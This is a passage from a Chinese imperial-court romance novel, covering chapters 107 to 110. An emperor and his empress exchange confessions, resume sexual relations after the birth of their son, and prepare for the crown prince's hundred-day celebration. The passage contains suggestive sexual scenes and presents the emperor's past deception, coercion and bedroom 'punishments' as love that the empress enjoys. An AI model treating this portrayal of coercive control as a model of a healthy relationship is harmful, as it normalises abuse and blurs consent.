许久之后,他亲够了,双臂撑在媜珠身侧看着她,忽地开口对她说:
“你还有没有秘密瞒着我?”
媜珠一愣:“陛下问这个做什么?”
他又问她:“你还有没有想问我的事情?”
媜珠发笑:“陛下这是怎么了?”
周奉疆神色严肃起来:“媜媜,我们认识这么多年了,鲜少刨根究底地对彼此问一些事情,我不信你对我一点想问的也没有。现在我问你一句,你真心回答我,你再来问我,我也真心答你。我们彼此坦诚相待,谁敢说谎话,谁下辈子——”
他顿了顿,媜珠接上话茬,“说谎话的人下辈子就下地狱?就不得好死?”
周奉疆呼出一口酒气,摇了摇头,“说谎话的人下辈子、下辈子就……我要是说谎话,来世我给你做奴才伺候你,好不好?”
媜珠的笑颜娇艳欲滴,“好,臣妾要是敢对陛下说半个字的谎话,妾来世就到您身边做一只不会说人话的猫儿陪伴您。”
周奉疆先对媜珠问出了第一个问题:“你心里还有张道恭吗?你是不是还念着他?”
媜珠大怒:“从你告诉我他生母陈太后的事情开始,我便看清了他的真面目,对他再无半分幻想,你不要血口喷人污蔑我的清白。”
媜珠反问他:“陛下,妾真的是您唯一的女人吗?您从前征战在外面时,有没有碰过别人献来的女人?”
周奉疆也大怒:“朕当然不曾了!朕又不是那等软弱无能的窝囊废,朕要是碰过哪个女人,还敢不承认?”
他又问媜珠:“你现在对我有没有男女之情?你到底有没有几分爱我?”
媜珠说有,“那陛下这些年在妾的身边,有没有那么一刻想过该纳一位妾室来陪伴您?哪怕只是有那么一瞬间,您对妾乏味了,想要试试别的女人。”
周奉疆说没有,他旋即在她耳边说起了放浪的荤话,“朕还没享用够你的身子,何谈乏味?”
他问媜珠:“若是还有来生,你愿意嫁给我吗?”
媜珠说愿意,但她又问,“陛下真的觉得自己当初那样对妾是错的吗?若真的能重来,您还会不会那样羞辱妾?”
周奉疆终于沉默了片刻,后来他说他的确后悔了。
他拥紧媜珠的身体:
“我不该逼你逼得那样紧。你知不知道当年你在我面前坠楼时,我觉得我的天都塌了,那一刻我真的恨不能自己被凌迟、被五马分尸,只求能和你换。”
回忆起当年的惨剧,他至今心中仍是阵阵抽痛,惧怕不已,那一夜也是他后来多年的噩梦,
“你毫不犹豫跳楼的那一刻,我就已经后悔了,那一瞬间我甚至在想,你要是真的想嫁张道恭,那我不如让你去嫁吧,大不了以后战火四起,国破城亡的时候,我再去救你回来。媜媜,我当初真的不该那样逼你,我真的不该……”
“后来你好不容易苏醒,结果却失忆了,记不起曾经过往,我看着你孱弱无依,楚楚可怜,对我毫不设防,心中便又起贪念,骗你成婚,强占了你。”
“我强占了你后便志得意满,自欺欺人地以为我本来就该拥有你,不仅拥有你的人,还应该有你的心,当我发现你不爱我,你想离开我的时候,我便无法忍受,对你百般折磨凌辱,是我的错,都是我的错。”
媜珠的心颤抖了一下。
她眸中溢满泪珠,伸手环抱住他的脖颈,一时忍不住便和他说出了实话。
“伯骧哥哥,其实那晚我并没有想过轻生。”
她说,“那夜我坠楼只是个意外,我和你吵了一架,是一时气急了想跑去找我母亲的,脱了你送的外裳裙子,是因为那裙子繁复厚重,叮叮当当地挂着玉佩香囊流苏,我怕我穿着它跑不快。结果头脑浑浑噩噩的,忘了我在二楼,一不小心冲出去就摔下了楼。”
媜珠还笑了笑,“我还想着我就这样豁出去了脸面,穿着中衣跑去找我母亲,跟她说你轻薄凌辱我,逼她帮我离开你呢。”
周奉疆的一点酒意瞬间烟消云散。
他定定地凝视着自己身下的女人,“……你当年没想过轻生?当年只是个意外?”
第108章
媜珠说了声“是”。
她仰首用自己的脸颊蹭了蹭他的下颌,
“在你身边我从未想过轻生,就算是当年的张道恭也不值得我轻生,我也从没想过害你、杀你。你总说我不听管教,又说我蠢笨,你那样责骂我,训诫我,然而我又到底做错了什么呢?我已经没有怪你拆散我和张道恭,我也没有再怪你杀我的那些兄弟手足。”
她说,“若你觉得我有做错的地方,你教训我,打骂我,我都认了,可是我不喜欢你做那些侮辱我的事情,我只是想要你尊重我而已。”
媜珠的眼底浮现一层若隐若现的妩媚娇意,声音也放低了很多,轻得像一团朦胧的雾气,丝丝缕缕地钻入他的耳中,
“如果哥哥只是想和我做那些男女欢愉之事的话,你不用强迫我,你待我温柔一些,我本来就是愿意的。你为什么非要用那些强迫的手段呢?会弄伤我,也会让我伤心,还会让我们之间更加疏离生分,我知道这些都不是哥哥愿意看到的,对不对?那哥哥为什么还要这么做?”
周奉疆尚未从得知当年她坠楼真相的极大错愕与惊喜中缓过神来,又听得媜珠这般柔顺地伏在他耳边对他说了这样的话,一时之间当真是头颅内舒爽得欲仙欲死,像被一大团猪油蒙住了似的,叫他竟有些头昏脑涨地喘不过气来。
媜珠难得这样柔声细语地对他说了这样多的话,他愣怔僵硬了许久,似乎是最终只听进去了他爱听的那么一句,而后遂迫不及待地连着对她发问:
“媜媜,你本来就是愿意和我交欢的,以前和我在榻上时是不是很快活?你以后也会愿意的,是么?”
“往后只要我想,你都是愿意的,这是你说的话,是不是?”
或许在男人眼里女人都是喜怒不定又蛮不讲理的,就像周奉疆也不大明白,为什么媜珠忽然就对他翻了脸,在他话音刚落下后,媜珠就气得挣扎着要推开他,神色也一下冷若冰霜了起来,对他怒骂道,
“你给我滚,我不是你暖床的姬妾,由着你喝来唤去、予取予求!”
见媜珠发了脾气,他才正经起来,搂紧了她的身子,埋首在她肩窝处长长叹气,
“媜媜,媜媜妹妹,哥哥知道错了,妹妹说的每一句话我都记在心中,绝不敢再犯。我若敢再伤了妹妹一次,就叫我短寿十年,早早地死在妹妹跟前,给妹妹出气,好不好?”
媜珠心里很受用被男人这般哄着,面上还是故作怒意,
“算了吧,这样的话哪里能随意说出口的。妾还是不大相信陛下,陛下真敢发这样的毒誓,指不定明年就是国丧,妾可不想做年轻太后,把妾都给叫老了。”
借着几分酒意,他说起情话来仿佛亦得心应手,
“我心甘情愿,我要是再敢对妹妹犯浑,明年就遭报应死了也是罪有应得。”
媜珠笑了,“可是陛下的皇陵尚未修好呢,陛下早早死了,难不成就这么把陛下的棺椁摆在宫里?摆在哪呢?还摆在咱们的椒房殿里?”
他沉声说好,“死了还能守着妹妹、看着妹妹,我更甘心称意了,在妹妹身边就是好的,比葬在什么龙脉皇陵里更合我心意。”
光阴在这一刻是静谧温馨的,连暮春时节殿外的几声婉转莺啼似乎都带了几分恩爱的缱绻之意。
媜珠是被他哄着长大的,她也喜欢被他这样哄。
她低声喃喃,“夫君,你不能骗我……”
我这一生,出现在我生命中的所有男人里,你还是最重要的那个,往后你也要这样爱我,好吗?
后来两人都没再说话,只这样静静相拥,耳鬓厮磨,大约所有还未说完的话、所有的情意都在这样的静谧无声中吐露了出来。
怀拥着媜珠柔若无骨的身体,又有时轻时浓的阵阵乳香从她松散敞开的衣襟处飘进他四肢百骸里,他很快不可避免地就亢奋了起来。
就连呼吸亦不知何时变得粗重而隐忍,他下意识地攥紧了媜珠细细的腰肢,像是迫不及待就要对她做什么似的。
也实在是太久太久没有过了,脑海中那根弦紧绷得太久了,早晚快要断掉的。
她身子恢复得很好,生完了孩子,肌肤白皙细腻,肚腹平坦如初,仍然是纤腰楚楚,只是腰身变得更加柔软了,他握着她的腰,就像拎起灿娘子的腰一般,仿佛她们都是没有骨头的猫,腰肢可以慵懒地随意拉伸着。
她身上看不见多少生产留下的损伤痕迹,若说生育了一回真的给她带来了什么显而易见的变化,那便是她身上愈发显露的人母韵味,母性使她周身总笼罩着一片纯粹圣洁的光辉,她真的不再是懵懂无知的女郎了,她成熟娇腴了许多。
是夏日枝头挂着的蜜桃,忽然一夜过后泛起了象征着果肉熟透了的艳粉色。
到今天,他们的孩子都已经满月了。满月,这对大部分男人来说是个充斥诱惑意味的信号,因为按照常理,她今天本该侍寝的。
他今天本来就可以碰她,可以和她同房。她都坐完一个月子了,他碰她不是理所当然的么?他凭什么不能碰她?
但是偏偏……
偏偏她母亲让媜珠要养够双满月,而且也委婉提点过媜珠,叫她等到双满月之后再和皇帝同房,要她把身子养得久一些,否则这样迁就男人的欲望,早早就学会不爱惜自己的身体,吃亏都是自己的。
这话既是说给媜珠听的,更是说给他听的。
他很明显犹豫地顿住了,媜珠躺在他身下,就这样睁着一双美目安静看着他,看着他挣扎,犹豫,备受煎熬。她一声不吭,连抱一抱他都没有。
她当然记得母亲和嬷嬷们的叮嘱,但她也想看看,周奉疆会怎么做?在他心里,是她更重要,还是欲望更重要?
他最终粗重地吐出一口浊气,在床榻上起了身,掀起帐幔就要离开。
又想起还未给她盖好被子,他还故作从容地回过身给媜珠捏好了被角,顺了顺她披散下来的一缕发丝,柔声对她说:
“我还有些事情要忙,你好好歇着,晚上我来陪你用膳,好不好?”
恐怕他还当她是他的孩子呢,觉得她离了他连被子也不会盖的。
声线还那样温柔,伸出来给她拉好被子的手臂上头却是青筋绷起,显然已忍到了强弩之末。
那只手臂上还隐约能看见她咬过他留下来的牙印。
媜珠拉住了他的腰带,姿态是在挽留,
“你留下来陪陪我吧,我帮你。”
我帮你……
假如这是个陷阱,假如她是一只狐妖,明知道跨过这一步可能会被她吸尽精血阳寿,可为了这一时温柔乡中的欢愉,他仍然会选择做鬼也风流。
一股血气涌上心头,他几乎是浑浑噩噩地被她轻而易举拉回到了床榻上,他看着媜珠起了身,跪在他面前的被褥上,纤纤素手搭在他腰间的蹀躞带上,熟练地解下了他的腰带,为他层层宽衣。
周奉疆言不由衷地拒绝了两回,他说他心疼她,她刚生完孩子,他不想让她做这样的事,他不想玷污了她。
媜珠微微一笑:“我只是今天恰巧心情好,想帮你一回而已,不是以后随便哪日都能碰上这样的好事的,你确定真的不想要吗,伯骧哥哥?”
他也是人面兽心,果然不再吭声了,翘首以盼般地期待着她的爱抚垂怜。
这像是个美妙的梦,他飘飘然似在云端,媜珠咬了咬唇,忸怩了片刻,最终还是俯下了自己天鹅般高贵傲气的细颈。
还好,她不是像天鹅一样用尖利的鸟喙来啄他的,也没有故意咬他。
他几乎不敢相信这是真的,媜珠对他柔情似水,媚态逢迎。
周奉疆将她垂下的一缕发丝别到了耳后,揉了揉她像松鼠一般鼓鼓囊囊的腮帮子。
这样的事情……他早已为她做过无数次,新婚后的那段时日里她有些怕和他同房,怕痛,为了安抚她,让她也能尝到快活的滋味,他几乎每夜都会这样伺候她,后来她就养成了被他这样弄的习惯了。
哪怕是先前被他软禁椒房殿里的那段时光,他也没少这样伺候她。
看她沉溺其中的反应,她明明也是很喜欢的。
投桃报李,他要求她礼尚往来,媜珠却通常都是不肯的。
她还会和他狡辩说,我从来没有要求你那样对我,都是你自己愿意的,凭什么现在来要求我给你做这种事?
养不熟的小白眼狼,翻脸不认人的东西。
而她为他做的只有那么几次,每次还都是在他强迫之下方不情不愿地敷衍他了事。
周奉疆那时候险些被她气个半死。也是因为她之前这样不知好歹、不守规矩,后来在床笫之间他才对她慢慢强硬起来的。
然而这次不一样,这一次居然真的是她主动,是她心甘情愿,是她挽留住了他。
他的确做梦都没想到有朝一日还能等到她的主动。
他眸光沉暗,望向媜珠时又满是宠溺爱怜。
结束之后,媜珠累倦地伏在枕榻上歇着,他倒是意犹未尽,视线转移到她饱满丰盈的胸口,又解开了媜珠的衣襟。
媜珠按住了他的手:“别……不要,等会戎儿醒了,我还要喂他的。你不能……”
“饿他一顿也不打紧。”
他不以为意,手下的动作不停,望着那一片雪腻,俯首凑了上去。
太子戎被饿得哇哇哭了好一阵,这还是他少见地这样闹腾,白日里吃惯了媜珠喂他,媜珠的怀抱香甜如蜜,带着孩子能敏感辨识出来的生母的独有气息,那是和旁人不一样的。
现在他好端端吃不到了,当然要闹的。
灿娘子也听不得太子戎哭,太子一哭,它就焦虑不安地在殿内团团转,不时扒一扒媜珠的裙摆,示意媜珠赶紧去哄自己的儿子。
做母亲的哄了他好一阵,这才终于哄得他愿意被乳母们抱去喂了。
——也许也不是他妥协了,而是实在饿得受不了,没劲闹了才终于消停的。
媜珠被他们父子俩来回折腾,勉强应付完这一日已是心神俱疲。
第109章
到了这一年五月中旬,太子戎满两个月了,还是一如既往平平安安地健壮着。
两个月的他学会的东西更多了,他知道如何回应媜珠的微笑,每每媜珠望着他笑时,他也会咧着嘴巴高兴地表达对母亲的喜爱,会啊啊喔喔地说着旁人听不懂的婴语。
他也喜欢抓握别人递来的物件,周奉疆有时拿来什么香囊玉佩去逗他,他总能稳稳当当地抓住,死死握在手里不肯轻易松开。
被乳母们抱在怀里时,若是听见媜珠过来的动静,他就要努力地抬起头来望着媜珠,满眼期待地看着母亲,希望能够被母亲抱在怀里。
媜珠有一次白日里给他喂奶,一面喂着他,一面看着他日渐张开的脸蛋,摸着他的胎发,正巧这日母亲打发福蓉又来看看她,她便对着福蓉感慨道:
“你们都说他有几分像我,我怎么瞧不出来多少呢?倒是像他父亲多些,才两个月大就能看得出是一个模子里刻出来的。可惜也不知道他父亲生下来时是不是就像这样,他父亲和郑夫人也算闹僵了,我总不好还专门拿这话去问郑夫人。”
福蓉没接这茬,她还心道这样才正好,巴不得皇帝把郑氏一家远远撵回扬州去才能叫赵太后心安,她只奉承媜珠:
“男孩儿像父亲是最好的了,过几年娘娘养好了身子,再生一位小公主出来,公主必定和娘娘一样貌美丽质,娘娘这辈子真是十全十美了。”
再生个小公主吗?
两个月前刚刚经历过的分娩之苦大约并没有给她留下什么梦魇和心理阴影,听她这样说,媜珠还真的认真思考过这个提议,面露微笑:
“那当然好了,那孩子要是也能托生到我肚子里,女孩儿里头她是最有福气的了,父母爱着,祖母宠着,还有兄长一生护着她,保她一世无忧,富贵安康……”
说着她抚了抚太子戎的脑袋,低声哄他,
“戎儿,以后阿娘再给你生个妹妹,你要一辈子保护好妹妹,照顾好妹妹,要永远宠着妹妹,好不好?”
他头也不抬,在母亲怀里吭哧吭哧、咕咚咕咚只顾着埋头进食,像只饿得不轻的猫崽一样,恨不得把双手都用上,吃的满头汗珠也不在乎。
他当然是听不懂媜珠在说什么的。
就连福蓉也听见了这响声,还连声夸赞说太子能吃是福,吃得这样有劲,难怪能长得健壮。
媜珠一般是不喜欢在旁人面前哺乳的,每每都会叫嬷嬷或者乳母们退在屏风后候着,今日若非福蓉正好奉母亲之命过来看她,她也不想叫福蓉在这看着。
她有些难为情,正欲想法子岔开这话题,福蓉就又对着她规劝起来:
“婢知道娘娘兴许不爱听这些,但太后那儿这几日也常悬心挂念,婢领了太后的命还是不得不多唠叨娘娘几句,——太后说了,娘娘这样亲自哺育小太子其实对自己的身子不好,满宫里这么多乳母们,娘娘何苦亲自劳累自己的身子呢?”
福蓉眼神隐晦委婉地瞥了一瞥媜珠饱满的胸口,压低了声音,“常喂着孩子,那儿要是走了形了,不好看了,可都是养不回来的。娘娘还这样年轻呢,若是折损了自己的身子,于夫妻之间也没有好处,关系着娘娘往后的荣宠呢。”
在媜珠还怀着太子戎时,赵太后就担心她肚子上会生纹皱裂,特意命人给她制了蛇油膏,给她日日涂抹孕肚,果真就把她的肚皮养的白白嫩嫩的,连生过了孩子都看不出分娩过的痕迹,更没有一丝斑痕。
母亲好像很怕她因为折损容貌与身体而失宠于帝王。
不过时世如此,媜珠想,她是她的生母,与其说她是将自己的女儿当做讨好皇帝的工具,倒不如说她的确不太信任男人会有多长情,哪怕这人是她的养子也不例外。
媜珠听懂福蓉的意思。
她眼底闪过一抹讥笑,想起当日分娩后梦中所见的情形,不由脱口而出:
“有什么大不了的,我就是死了、只剩下一具尸首了也不妨碍他做什么。”
福蓉被吓了一大跳,又一连劝媜珠不可说这样的气话,媜珠也自觉失言,改口说:
“我自己的骨肉,肯定是疼爱他的。他这辈子能有多少稚嫩懵懂一心依赖生母的时候?我能给他的是孕育了他这条命,是中宫嫡出的名正言顺的身份,这些他出生时就有了,以后我也不能再给他添什么光彩。
他是太子,往后他要仰仗的是他父亲的信任,依赖的是太傅老师们栽培他成材,是他自己养出来的羽翼、心腹、亲信们,是外头的朝臣们……
再到后来,就算我非要照顾他,他也根本不需要我了。
这辈子一心一意缠着母亲、黏着母亲、需要母亲,不就是这二三年做无辜稚子的光景么?我想多陪陪他,多喂他几口,难道也成了错了?”
福蓉沉吟许久,也叹息:“娘娘想的到底比咱们要透彻长远许多。”
说到这时,孩子吃饱了,媜珠拢好衣襟,温柔地给他擦了擦嘴和脸上的汗珠,轻轻抚着他的背,
“多想的清楚些,以后要放手了,也就没有舍不得了。”
父母子女一场,本就互为过客而已。
媜珠点了点他的额头,在心里默念着,你以后会不会也要变成你父亲那样的人呢?
太子戎吃饱喝足了,对着母亲吐出一个奶泡泡,咧嘴笑了,眼睛还是那样乌溜溜的。
但她忍不住又想着,当年周奉疆有戎儿这么大点,他在郑夫人怀里时,他是不是也曾这样懵懂无辜地依恋着郑夫人?
那时候郑夫人的日子也不大好过,她吃得饱吗?那周奉疆呢?他小时候能吃饱吗?
是不是从出生到被郑夫人抛弃、到被父亲周鼎收养为养子的那一天,那么多年里他都没能安安心心吃过一顿饱饭?
这么一想,她心中又忽然有些凄凉起来,光是想到那个场景便觉得凄苦和无奈。
哎。
人有时候也是自寻烦恼,想得这么多又做什么呀。
周奉疆的过去,太子戎的未来,这都不是她能改变的,都是定局。她能做的惟有珍惜眼下的时光,好好地过完每一日。
过了今日之后,媜珠就算是彻底出了月子了,双满月都坐满了。
时隔怀孕分娩的数月,她终于开始重新审视自己作为皇后应承担的职责,从母亲手里接管过本应她来掌管的宫务,有条不紊地打理着宫内外的大小事务。
她都已经做人母了,真真正正算是个大人了,也不能总什么事都要甩给旁人来替她解决。
她知道这些年里母亲和丈夫已经为她解决了许多的问题,是他们帮着她立起的家中主母、一国皇后的威仪,手把手地带着她、教着她掌家理事。
但凡有什么她不好处置的事情、她降服不了的那些颇有资历、刁钻奸诈的凶奴们,他们都早早地在她发现难题之前就为她通通料理了。
如今再想想,其实她并不该这样永远理所当然地依赖母亲和丈夫,自己则毫无长进。
母亲呢,会老去、会离开她;丈夫么……她也总不能一直拿他当她父亲那样受他的照顾。
想想梦中自己仿若还和他有过一个前世因缘,她也曾是李家的儿媳,李家的周太子妃、周皇后,初嫁到李家时,虽然李伯骧也帮她在家里立过威、撑过腰,但后来种种,都是她靠着自己的付出,勤勤恳恳操持内外琐事,博得了家里家外众人的信服。
她模模糊糊地记得,梦里的那个她,远比现在的她做得要好多了,甚至就在成为太子妃、成为皇后之后,她也做了很多。
李伯骧在家里是个正常人,是个温和有耐心的好丈夫、好父亲,但是在外头脾气就不怎么样,臣下们有一句话说得不中听、叫他不高兴了,他动辄呵斥惩戒他们,一点也不肯收敛。
于是媜珠便在后宅后宫所赋予她的职责之外,还能主动调和他和臣下们的矛盾,为了国政民生事向他进言,将一些他不爱听的话委婉地再说给他听。
想到这些,媜珠又有些伤怀,想想自己如今做了这么久的皇后,顶多称得上是中规中矩不出大错,远没有梦里的那个周皇后要更出色些。
往后,她该多改进自己一些的。明明她可以做的更好。
这天晚上她忙到夜深时才洗漱更衣了准备歇下,周奉疆已在榻上等了她许久。
她或许更没有察觉到自今夜始,周奉疆看着她的眼神已经变了味了,简直像是在看一只养得白白胖胖能端上桌的肉兔,满心盘算着该怎样将她吃干抹净。
媜珠坐在榻上,宫娥们过来拉上了帷帐,悄然退下,媜珠还在低头抹着手腕上几丝没有擦拭均匀的蔷薇露珍珠粉膏,身上是馥馥幽香,芬芳如蜜,冰肌玉骨清无汗,雪肤花貌胜婵娟。
应当又是赵太后寻人给她调制的各种美肤养容的秘制香膏玉露,各种琉璃的白瓷的瓶瓶罐罐堆满了她半个梳妆台,别说媜珠不大乐意一个个去涂了,就连周奉疆见了都叹为观止。
哪日他得罪了赵太后,她遣人神不知鬼不觉混一瓶砒霜进来毒死他,恐怕他都查不出来。
不过他喜欢她身上的香气。这世上的香,单一种香气拎出来都是俗的,在他眼里没有高低贵贱之分,都是俗香。玫瑰俗,蔷薇俗,牡丹俗,就连什么清竹傲菊,都是俗的。
只有这香气涂抹在她的身上,沁到她的骨肉里,从她身子里散发出来的,才是令人沉醉、欲罢不能的。
这是一只香喷喷的肉兔。
媜珠心里揣着自己的心事,对他并不怎么热络,以至于到了榻上,这冷冷淡淡寒如霜雪般的姿态,颇叫周奉疆觉得她是欲擒故纵。
皇帝撩起媜珠垂下的一缕发丝,缠绕在自己指尖把玩,媜珠懒得去管,蹙着眉头看向他,夫妻二人在床帷之内闲话私事。
她问他:“你有没有觉得,其实……其实我并不是一个很好的皇后?和你所说的前世嫁给你的周媜珠相比,现在的我做得并不怎么好。”
周奉疆有些愣住,实在是做了那个梦之后,随着时日渐远,梦中的内容他越来越淡忘,连自己亲爹李嶂长什么样都记不得了,哪还记得那么多细致的事情?
他只问她:“好端端地,怎么想得起问这些事?”
媜珠猫儿一般趴在他肩头,神情有些低迷:“我想起来,如果梦中的一切当真真真切切地发生过,我真的不止一次嫁给过你,那梦里的我比如今的我做的好多了,会孝顺公婆、养育儿女、抚育家中弟妹,不需要别人帮着我,我一个人也能理好家里家外大小琐事,我还会……”
他不由发笑:“怎么,你想把我的生母和谢秉清姊妹几个请进宫里来?给自己找个婆婆伺候,找小叔子小姑子们去服侍?戎儿一个还不够你照顾的。”
媜珠嗔怒起来:“你总是这样,我想和你说两句正经的话,你就这样敷衍糊弄我!”
周奉疆的神色当即严肃了一些,正色道:
“从前的周皇后是个好皇后,如今的赵皇后怎么就不算好皇后了?朕的赵皇后饱读诗书,才藻艳逸,兰姿蕙质,是国朝女子的典范。皇后孝顺婆母,悉心侍奉皇太后,为朕尽孝分忧,还千辛万苦地为朕诞育子嗣,是国之功臣。赵皇后待下和善宽容,体恤宫人,阖宫上下内监宫女们莫不蒙受皇后的恩德。赵皇后又对宗亲们关怀备至,恩赏大度……”
他能说出一连串称赞她德行的话来,还这样一本正经、慎重其事的样子,媜珠心下当然是好受的。
她仍有疑虑:“我真的已经做的很好了吗?”
周奉疆一手抚着她薄薄的背,宠溺地看着她:“当然,媜媜是这世上最好的,不论你做什么,你都做的最好。我真三生有幸能得到你在自己身边,与我共享这九州大好山河。”
媜珠被他夸得有些不好意思起来,但仍然客套客套地表示了一番谦虚:
“那我就没有一点做得不好的地方吗?”
周奉疆的笑意缓缓敛去,看着她的眼神沉肃起来,幽深得像一口古井,
“自然有,而且还不少。不过是这阵子朕顾忌你有孕和产后虚弱,所以才不忍训斥你而已。”
媜珠僵住:“……妾、妾做错什么了?”
他拍拍媜珠的脸,“去榻上跪着,朕一桩桩一件件慢慢告诉你。”
先时,媜珠还真的被他这个架势唬住了,下意识顺从了他的吩咐,愣愣地从他身上爬起来,跪坐在锦被上。心砰砰跳个不停,不知道周奉疆这是要对她发什么脾气。
——他要是说不出个一二三四五来,她还要拿枕头下藏着的那块护心镜去砸他的头。
见媜珠顺服,周奉疆这会儿终于图穷匕见了,一面抽开自己寝衣的系带,一面又对她说,
“趴下,把腰塌下去……别说话,别问为什么,乖,哥哥马上就来告诉你,你的错都在哪里……”
媜珠瞥见那一处杀气腾腾、凶相毕露的昂然屹立,脑海中蓦然反应过来了。
还不等周奉疆拽着她的脚踝将她拖过来,她伸手探向圆枕下摸出了一物掩在身后,周奉疆自然看见了那是什么,动作一顿,眯起了眼睛看向她:
“你……?”
这东西既然能充作护心镜,当然是极坚硬的,若是欲仙欲死的时候冷不丁被她偷袭着砸了一下,还真是败兴的。
——他也不是没被她砸过,毕竟兔子急了也会咬人的。
他把她拖了过来,夺下她手里的东西丢到了外头去,在她臀上不轻不重地抽了一下:
“你看,朕还未一一细数你的错事,你便又欲弑君谋逆,是不是又添一罪?”
其实媜珠把这东西翻出来也不是真想砸他,顶多就是想拿出来吓吓他,想告诉他,床榻之上,不是只有他一个人能用强的,不是只有他才能主导一切。
肉兔被按在了砧板上,他拿那把杀兔的利刃拍了拍她的脸以示威胁,“你总是不听话的。”
他在这一夜清算细数她有孕直至分娩后的一切“罪状”,比如说,在她一厢情愿地怀疑他和张玉令有私情时,为什么宁愿相信周婈珠那个乱嚼舌根的姐姐也不愿意相信自己的丈夫?
又或者说,明明告诉她孕期不能食蟹,为什么怀着戎儿时还忍不住嘴馋偷偷向膳房索要一只蒸蟹?……也幸亏是膳房的人有脑子,没敢给她。
生产之前,为什么要满口胡言乱语说那些要死要活的丧气话?
他想起一件就抽她一下,媜珠趴在圆枕上,呜咽地咬着唇哭,被他折磨得不上不下,求生不得求死不能。
他似乎是想告诉她,就是因为她有错,所以现在被惩罚都是应该的,他惩罚她,她就该受着。
后来她实在忍不住了,努力地翻过身想要看一看他的样子,她十指无力地握住他的手掌,求他给她一个痛快。
周奉疆幽幽笑了,伏在她耳畔问:“所以你是喜欢这样的,对不对?”
许久许久不曾遭受过这些,媜珠被刺激得浑身战栗,满脸泪珠,胡乱地应下。
他还不肯,非逼着她睁着眼睛看向自己说出那句喜欢,说还想要更多。
媜珠哽咽:“我喜欢……我喜欢哥哥。求哥哥,求求哥哥……”
长夜难明,月色漫漫,媜珠在一片神思混沌中想到了他送给她的一盆名贵牡丹,是当年他从洛阳命人运回冀州赠她的。
那花名作“金鸾妃”。
这种牡丹的花朵并不大,小小的,只有那么玲珑的一点,但殊色冠群芳,璀璨夺目,美艳不可方物。
名为金鸾妃,实则通体粉白,望上去弱不禁风,柔肤纤体。
洛阳权贵人家饲养此花,是要在其含苞待放、欲绽未绽之际,用特制的工具探入花心中,撑开它的花苞,将研磨好的金粉小心灌进它娇嫩的花心里,再以手合拢花苞,叫它把金粉好好地含着。
未及几日,花瓣缓缓绽放之时,先前灌进去的金粉也会随之慢慢溢出,流光溢彩,富贵逼人,恍若天成,见者皆以为惊奇。
周奉疆送过她一盆这样的花。
后来他从外头打完仗回来,恰逢此花花期,他还拿着一碗研磨好的金粉向媜珠演示过怎么灌金粉的,媜珠站在一旁满目期待地看着他,偏偏娇花可怜,遇上了这种粗人武夫,他手下一个不小心,多用了点力,竟直直将那朵娇花的花苞整个撑破了。
媜珠阖上了眼,又被他拖到了大床另一侧去。
她不记得这一夜自己有没有睡着过,意识最后模糊的时刻,似乎是听见了佩芝在帐外小心翼翼地唤皇帝起身更衣,说是他该去朝会了。
他有些意犹未尽地终于止住动作,满面餍足酣然之色。
下榻离开之前,他还对她说,朕其实不想媜媜做贤后,因为朕也不想做什么明君。
朕想做昏君,也想媜媜在史书里做那勾引君王不早朝的旷古无两的妖妃。
媜珠幽怨无力地睁眼瞥了他一下,翻身背对着他,不理他了。
她似乎的确做不了一个勤勉的贤后,昨天夜里才立过誓发过愿说自己将来要如何如何,今日就昏昏沉沉地在榻上睡了一整日不能起身。
太子戎白日里习惯要母亲喂,乳母们小心翼翼地将他抱到媜珠的身边,媜珠半昏半睡地喂了他,好在这孩子是真的好带,吃饱了之后就自己吐出来,咂咂嘴巴靠在母亲身边就能安稳睡下,不用媜珠多操半分闲心。
乳母们未必就不知道皇后为何今日起不来身,但见皇后静卧榻上,婀娜生艳,容色靡丽,娇慵似吸饱了雨露浇灌的花儿,分外妖娆。
她们是不敢多看半下,放下小太子后就连忙出去了。
周奉疆中午时回来看过她,他见到的便是这样一幅温情的场景,母子两人挨在一起睡得香甜,床榻之上是他的女人,他的儿子。
他默默地看了许久,轻轻唤醒媜珠,要喂她吃点东西。
媜珠眸光含怨,一声不吭地盯着他看。
他也有些不自在地低咳了一声:“是不是有些痛?以后不会这样——”
媜珠眸光如雪,仰首看着他的眼睛:“这是你第几次跟我说这句话了?明明你上次还告诉我说,下次再敢对我犯浑,你若犯浑一次就折寿十年。”
他认下:“是朕该遭的报应。”
媜珠又忽然咬了咬唇,哀怨非常:“可是妾不敢埋怨陛下半分……陛下没有做错任何事,妾昨夜分明也很是受用。”
周奉疆显然没料到她脸色变得这么快,当即愣住。
面前的女人牵住他的衣袖,楚楚可怜,
“这次也好,以后也罢,不管陛下再怎样对待妾,妾都不会说陛下半分不是,陛下怎样对妾都是应该的,只要妾自己不怨恨陛下,陛下就不算违背誓言,就不用遭受折寿的报应。因为妾舍不得陛下,妾希望和陛下白头偕老,希望陛下永远陪伴在妾身边。”
毫无道德底线的皇帝自然是不堪承受她这样冰清玉粹的“审判”的,她只是梨花带雨地对他哭诉了一番,的确没有对他说半分重话和抱怨,却叫他心头前所未有地惭愧内疚起来。
“媜媜……”
他于心有愧了。
这一招还当真是管用的,其实他昨夜是收敛了的,媜珠也确实没有受伤,更是的确从中受用了万般滋味,不过往后的很长一段时间里,在床榻上他日渐收敛了许多癖好,没再故意折腾过媜珠,叫媜珠过了许久的安生日子。
第110章
四时更替中,转瞬又是一个月的光阴消逝而去,眼看到了六月末入伏了,彼时热气蒸腾,太液池中荷叶藕花遮天蔽日,蛙叫蝉鸣声此消彼长,在这长安城内溽暑难消的时节,也是皇太子戎出生满百日了。
皇帝说他生的日子真是巧呢,算了一算,生过他正好满百日这一天,却又是六月廿八的观莲节,是他母亲媜珠的生辰,好日子都凑到一天去了。
这一日在椒房殿内熏着媜珠夏日喜爱的青莲沉香,新鲜饱满圆嘟嘟的一盘尚书红荔枝盛在了白玉碟里,搁在媜珠手边的茶几上,边上还摆着好几种同样冰湃过的果子给她消暑解闷,黄金甜瓜,贵妃杏,香蜜梨,仙居的杨梅,金黄的枇杷,碧绿葡萄,清香菱角,还有一碟冰酪奶酥和糖水蜜浆。
林林总总摆了这么些,也未必都是指望给她吃的,倒是光摆在这里便有盈盈果香扑鼻,在这夏日里闻起来格外清甜消暑。
还有两日就是皇太子的百日了,这是要真正大操办的要事。一则是皇帝说要在百日宴上为皇子行封太子的册礼,二则是先前他的洗三和满月,他的皇后生母因为坐月子都未能出席宫宴。这一次皇后终于能出来见人,也是贺她的生育之喜,叫皇后受一受朝臣百官宗亲们的贺拜的,场面更不能寒酸了半点。
母亲赵太后这一日来她宫里看望皇孙,又兼为了太子戎百日宴的一些琐事和她闲聊几句。
媜珠请母亲在主位坐下,自己剥了一颗荔枝,奉于母亲面前,请母亲尝一尝。
